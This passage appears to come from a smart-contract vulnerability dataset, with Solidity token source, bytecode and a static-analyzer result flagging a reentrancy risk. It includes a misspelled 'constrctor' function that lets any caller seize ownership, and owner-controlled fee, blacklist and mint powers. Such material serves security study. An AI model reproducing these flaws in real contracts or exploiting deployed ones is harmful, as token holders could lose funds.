= 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610552578063dd62ed3e14610572578063ea1644d5146105b8578063f2fde38b146105d857600080fd5b8063a2a957bb146104cd578063a9059cbb146104ed578063bfd792841461050d578063c3c8cd801461053d57600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104ad57600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b6105f8565b005b34801561020a57600080fd5b506040805180820190915260088152672bb7b6333a37b7b760c11b60208201525b6040516102389190611a1f565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a74565b610697565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b5066038d7ea4c680005b604051908152602001610238565b3480156102d957600080fd5b506102616102e8366004611aa0565b6106ae565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610238565b34801561032b57600080fd5b50601554610291906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ae1565b610717565b34801561036b57600080fd5b506101fc61037a366004611b0e565b610762565b34801561038b57600080fd5b506101fc6107aa565b3480156103a057600080fd5b506102bf6103af366004611ae1565b6107f5565b3480156103c057600080fd5b506101fc610817565b3480156103d557600080fd5b506101fc6103e4366004611b29565b61088b565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611ae1565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b0316610291565b34801561045657600080fd5b506101fc610465366004611b0e565b6108ba565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b506040805180820190915260048152632ba7a62360e11b602082015261022b565b3480156104b957600080fd5b506101fc6104c8366004611b29565b610902565b3480156104d957600080fd5b506101fc6104e8366004611b42565b610931565b3480156104f957600080fd5b50610261610508366004611a74565b61096f565b34801561051957600080fd5b50610261610528366004611ae1565b60106020526000908152604090205460ff1681565b34801561054957600080fd5b506101fc61097c565b34801561055e57600080fd5b506101fc61056d366004611b74565b6109d0565b34801561057e57600080fd5b506102bf61058d366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c457600080fd5b506101fc6105d3366004611b29565b610a71565b3480156105e457600080fd5b506101fc6105f3366004611ae1565b610aa0565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161062290611c31565b60405180910390fd5b60005b81518110156106935760016010600084848151811061064f5761064f611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068b81611c92565b91505061062e565b5050565b60006106a4338484610b8a565b5060015b92915050565b60006106bb848484610cae565b61070d843361070885604051806060016040528060288152602001611dac602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ea565b610b8a565b5060019392505050565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161062290611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078c5760405162461bcd60e51b815260040161062290611c31565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107df57506013546001600160a01b0316336001600160a01b0316145b6107e857600080fd5b476107f281611224565b50565b6001600160a01b0381166000908152600260205260408120546106a89061125e565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161062290611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161062290611c31565b601655565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161062290611c31565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092c5760405162461bcd60e51b815260040161062290611c31565b601855565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161062290611c31565b600893909355600a91909155600955600b55565b60006106a4338484610cae565b6012546001600160a01b0316336001600160a01b031614806109b157506013546001600160a01b0316336001600160a01b0316145b6109ba57600080fd5b60006109c5306107f5565b90506107f2816112e2565b6000546001600160a01b031633146109fa5760405162461bcd60e51b815260040161062290611c31565b60005b82811015610a6b578160056000868685818110610a1c57610a1c611c66565b9050602002016020810190610a319190611ae1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6381611c92565b9150506109fd565b50505050565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b815260040161062290611c31565b601755565b6000546001600160a01b03163314610aca5760405162461bcd60e51b815260040161062290611c31565b6001600160a01b038116610b2f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610622565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610622565b6001600160a01b038216610c4d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610622565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610622565b6001600160a01b038216610d745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610622565b60008111610dd65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610622565b6000546001600160a01b03848116911614801590610e0257506000546001600160a01b03838116911614155b156110e357601554600160a01b900460ff16610e9b576000546001600160a01b03848116911614610e9b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610622565b601654811115610eed5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610622565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2f57506001600160a01b03821660009081526010602052604090205460ff16155b610f875760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610622565b6015546001600160a01b0383811691161461100c5760175481610fa9846107f5565b610fb39190611cad565b1061100c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610622565b6000611017306107f5565b6018546016549192508210159082106110305760165491505b8080156110475750601554600160a81b900460ff16155b801561106157506015546001600160a01b03868116911614155b80156110765750601554600160b01b900460ff165b801561109b57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c057506001600160a01b03841660009081526005602052604090205460ff16155b156110e0576110ce826112e2565b4780156110de576110de47611224565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112557506001600160a01b03831660009081526005602052604090205460ff165b8061115757506015546001600160a01b0385811691161480159061115757506015546001600160a01b03848116911614155b15611164575060006111de565b6015546001600160a01b03858116911614801561118f57506014546001600160a01b03848116911614155b156111a157600854600c55600954600d555b6015546001600160a01b0384811691161480156111cc57506014546001600160a01b03858116911614155b156111de57600a54600c55600b54600d555b610a6b8484848461146b565b6000818484111561120e5760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611cc5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610693573d6000803e3d6000fd5b60006006548211156112c55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610622565b60006112cf611499565b90506112db83826114bc565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132a5761132a611c66565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137e57600080fd5b505afa158015611392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b69190611cdc565b816001815181106113c9576113c9611c66565b6001600160a01b0392831660209182029290920101526014546113ef9130911684610b8a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611428908590600090869030904290600401611cf9565b600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611478576114786114fe565b61148384848461152c565b80610a6b57610a6b600e54600c55600f54600d55565b60008060006114a6611623565b90925090506114b582826114bc565b9250505090565b60006112db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611661565b600c5415801561150e5750600d54155b1561151557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153e8761168f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157090876116ec565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159f908661172e565b6001600160a01b0389166000908152600260205260409020556115c18161178d565b6115cb84836117d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161091815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061163d82826114bc565b8210156116585750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116825760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611d6a565b60008060008060008060008060006116ac8a600c54600d546117fb565b92509250925060006116bc611499565b905060008060006116cf8e878787611850565b919e509c509a509598509396509194505050505091939550919395565b60006112db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ea565b60008061173b8385611cad565b9050838110156112db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610622565b6000611797611499565b905060006117a583836118a0565b306000908152600260205260409020549091506117c2908261172e565b30600090815260026020526040902055505050565b6006546117e490836116ec565b6006556007546117f4908261172e565b6007555050565b6000808080611815606461180f89896118a0565b906114bc565b90506000611828606461180f8a896118a0565b905060006118408261183a8b866116ec565b906116ec565b9992985090965090945050505050565b600080808061185f88866118a0565b9050600061186d88876118a0565b9050600061187b88886118a0565b9050600061188d8261183a86866116ec565b939b939a50919850919650505050505050565b6000826118af575060006106a8565b60006118bb8385611d8c565b9050826118c88583611d6a565b146112db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610622565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f257600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b929592945050506040919091013590565b600060208284031215611af357600080fd5b81356112db81611935565b8035801515811461195557600080fd5b600060208284031215611b2057600080fd5b6112db82611afe565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611afe565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca657611ca6611c7c565b5060010190565b60008219821115611cc057611cc0611c7c565b500190565b600082821015611cd757611cd7611c7c565b500390565b600060208284031215611cee57600080fd5b81516112db81611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d495784516001600160a01b031683529383019391830191600101611d24565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da657611da6611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b9ba1b57a698f9d86cd1323317c0f73fff0d994877ed0396bed149f0f9b775964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,987
0x338e92c16f8845fbd3b97bd4e78fba295c280429
pragma solidity 0.4.24; // ---------------------------------------------------------------------------- // &#39;Gamma Token&#39; token contract // // Deployed to : 0x1275Cf2D18dC290aF80EeD32ba1110f1b0d2b2BB // Symbol : GAMA // Name : Gamma Token // Total supply: 750,000,000 // Decimals : 18 // // Copyright(c) 2018 onwards VFTech, Inc. Australia (www.ExToke.com) // Contract Designed with care by GDO Infotech Pvt Ltd, India (www.GDO.co.in) // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract owned { address public owner; using SafeMath for uint256; function constrctor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token using SafeMath for uint256; string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor ( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to].add(_value) > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from].add(balanceOf[_to]); // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender&#39;s allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract GammaToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; using SafeMath for uint256; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor ( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value.div(buyPrice); // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(address(this).balance >= amount.mul(sellPrice)); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
0x6080604052600436106101325763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663039bd55a811461013757806305fefda71461014e57806306fdde0314610169578063095ea7b3146101f357806318160ddd1461022b57806323b872dd14610252578063313ce5671461027c57806342966c68146102a75780634b750334146102bf57806370a08231146102d457806379c65068146102f557806379cc6790146103195780638620410b1461033d5780638da5cb5b1461035257806395d89b4114610383578063a6f2ae3a14610398578063a9059cbb146103a0578063b414d4b6146103c4578063cae9ca51146103e5578063dd62ed3e1461044e578063e4849b3214610475578063e724529c1461048d578063f2fde38b146104b3575b600080fd5b34801561014357600080fd5b5061014c6104d4565b005b34801561015a57600080fd5b5061014c6004356024356104f5565b34801561017557600080fd5b5061017e610517565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b85781810151838201526020016101a0565b50505050905090810190601f1680156101e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ff57600080fd5b50610217600160a060020a03600435166024356105a4565b604080519115158252519081900360200190f35b34801561023757600080fd5b506102406105d1565b60408051918252519081900360200190f35b34801561025e57600080fd5b50610217600160a060020a03600435811690602435166044356105d7565b34801561028857600080fd5b50610291610674565b6040805160ff9092168252519081900360200190f35b3480156102b357600080fd5b5061021760043561067d565b3480156102cb57600080fd5b5061024061071d565b3480156102e057600080fd5b50610240600160a060020a0360043516610723565b34801561030157600080fd5b5061014c600160a060020a0360043516602435610735565b34801561032557600080fd5b50610217600160a060020a0360043516602435610820565b34801561034957600080fd5b5061024061095d565b34801561035e57600080fd5b50610367610963565b60408051600160a060020a039092168252519081900360200190f35b34801561038f57600080fd5b5061017e610972565b61014c6109ca565b3480156103ac57600080fd5b5061014c600160a060020a03600435166024356109f1565b3480156103d057600080fd5b50610217600160a060020a0360043516610a00565b3480156103f157600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610217948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610a159650505050505050565b34801561045a57600080fd5b50610240600160a060020a0360043581169060243516610b2e565b34801561048157600080fd5b5061014c600435610b4b565b34801561049957600080fd5b5061014c600160a060020a03600435166024351515610ba7565b3480156104bf57600080fd5b5061014c600160a060020a0360043516610c22565b6000805473ffffffffffffffffffffffffffffffffffffffff191633179055565b600054600160a060020a0316331461050c57600080fd5b600791909155600855565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561059c5780601f106105715761010080835404028352916020019161059c565b820191906000526020600020905b81548152906001019060200180831161057f57829003601f168201915b505050505081565b336000908152600660209081526040808320600160a060020a039590951683529390529190912055600190565b60045481565b600160a060020a038316600090815260066020908152604080832033845290915281205482111561060757600080fd5b600160a060020a038416600090815260066020908152604080832033845290915290205461063b908363ffffffff610c6816565b600160a060020a038516600090815260066020908152604080832033845290915290205561066a848484610c7a565b5060019392505050565b60035460ff1681565b3360009081526005602052604081205482111561069957600080fd5b336000908152600560205260409020546106b9908363ffffffff610c6816565b336000908152600560205260409020556004546106dc908363ffffffff610c6816565b60045560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001919050565b60075481565b60056020526000908152604090205481565b600054600160a060020a0316331461074c57600080fd5b600160a060020a038216600090815260056020526040902054610775908263ffffffff610dee16565b600160a060020a0383166000908152600560205260409020556004546107a1908263ffffffff610dee16565b60045560408051828152905130916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3604080518281529051600160a060020a0384169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600160a060020a03821660009081526005602052604081205482111561084557600080fd5b600160a060020a038316600090815260066020908152604080832033845290915290205482111561087557600080fd5b600160a060020a03831660009081526005602052604090205461089e908363ffffffff610c6816565b600160a060020a03841660009081526005602090815260408083209390935560068152828220338352905220546108db908363ffffffff610c6816565b600160a060020a0384166000908152600660209081526040808320338452909152902055600454610912908363ffffffff610c6816565b600455604080518381529051600160a060020a038516917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250600192915050565b60085481565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561059c5780601f106105715761010080835404028352916020019161059c565b60006109e160085434610e0890919063ffffffff16565b90506109ee303383610c7a565b50565b6109fc338383610c7a565b5050565b60096020526000908152604090205460ff1681565b600083610a2281856105a4565b15610b26576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b83811015610aba578181015183820152602001610aa2565b50505050905090810190601f168015610ae75780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b0957600080fd5b505af1158015610b1d573d6000803e3d6000fd5b50505050600191505b509392505050565b600660209081526000928352604080842090915290825290205481565b600754610b5f90829063ffffffff610e1f16565b30311015610b6c57600080fd5b610b77333083610c7a565b6007546040513391830280156108fc02916000818181858888f193505050501580156109fc573d6000803e3d6000fd5b600054600160a060020a03163314610bbe57600080fd5b600160a060020a038216600081815260096020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600054600160a060020a03163314610c3957600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0